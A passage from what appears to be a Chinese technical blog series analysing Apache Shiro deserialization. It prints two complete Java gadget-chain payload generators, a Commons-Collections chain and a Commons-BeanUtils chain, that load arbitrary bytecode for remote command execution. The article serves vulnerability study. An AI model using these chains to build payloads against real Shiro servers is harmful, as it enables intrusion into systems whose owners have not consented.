深入理解Shiro反序列化原理( 五 )


深入理解Shiro反序列化原理

文章插图
image
最后在原来的CC链的基础少结合CC2+CC6得出下面这条链 。
public Object getPayload(String[] args) throws Exception {TemplatesImpl templatesImpl = new TemplatesImpl();Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field nameField = templatesClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesImpl, "123");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get(args[0]));byte[][] codes = new byte[][]{code};bytecodesField.set(templatesImpl, codes);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templatesImpl, new TransformerFactoryImpl());Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");auxClassesField.setAccessible(true);auxClassesField.set(templatesImpl, (Object)null);InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});Map<Object, Object> map = new HashMap();LazyMap lazyMap = (LazyMap)LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templatesImpl);Map<Object, Object> map1 = new HashMap();map1.put(tiedMapEntry, "bbb");lazyMap.remove(templatesImpl);Class c = LazyMap.class;Field factoryfield = c.getDeclaredField("factory");factoryfield.setAccessible(true);factoryfield.set(lazyMap, invokerTransformer);return map1;}或者直接用依赖commons-collections4的CC2也可以 。
上面这种方式是需要我们补依赖环境的,在实战中这种方式就会有一定的限制,所以我们在shiro中更多的是使用的它自带的CB链去利用 。在前面学习CC链的时候了解到TemplatesImpl这个类,在这个类里面自定义了类加载器,只要调用TemplatesImpl#newTransformer就可以触发类加载 。我们继续回溯找到了TrAXFilter的构造函数中调用了该方法,另外还有TemplatesImpl#getOutputProperties中也调用了newTransformer,其中CB链就是用的后面这个点 。
可以看到getOutputProperties是一个getter方法,在commons-beanutils中有一个调用任意对象getter的方法org.apache.commons.beanutils.PropertyUtils#getProperty(Object bean, String name),它在org.apache.commons.beanutils.BeanComparator#compare中被调用,且参数可控,所以再结合前面CC链的部分最后得出下面的CB链 。
public Object getPayload(String[] args) throws Exception {TemplatesImpl templatesImpl = new TemplatesImpl();Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field nameField = templatesClass.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesImpl, "123");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get(args[0]));byte[][] codes = new byte[][]{code};bytecodesField.set(templatesImpl, codes);Field auxClassesField = templatesClass.getDeclaredField("_auxClasses");auxClassesField.setAccessible(true);auxClassesField.set(templatesImpl, (Object)null);BeanComparator beanComparator = new BeanComparator();beanComparator.setProperty("outputProperties");PriorityQueue priorityQueue = new PriorityQueue();priorityQueue.add(1);priorityQueue.add(1);Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;Field queueField = priorityQueueClass.getDeclaredField("queue");queueField.setAccessible(true);Object[] o = (Object[]) queueField.get(priorityQueue);o[0] = templatesImpl;o[1] = templatesImpl;Field comparator = priorityQueueClass.getDeclaredField("comparator");comparator.setAccessible(true);comparator.set(priorityQueue,beanComparator);return priorityQueue;}最后也同样实现了命令执行 。
深入理解Shiro反序列化原理

文章插图
image
总结以上就是关于shiro反序列化的所有分析了,虽然在1.2.4之后shiro就采用了自定义密钥或者随机生成密钥,但真正反序列点还是没有改变,如果存在密钥泄露依然可以导致反序列化 。
参考资料Shiro反序列化漏洞(一)-shiro550流程分析-白日梦组长
Tomcat源码初识一 Tomcat整理流程图

【深入理解Shiro反序列化原理】


推荐阅读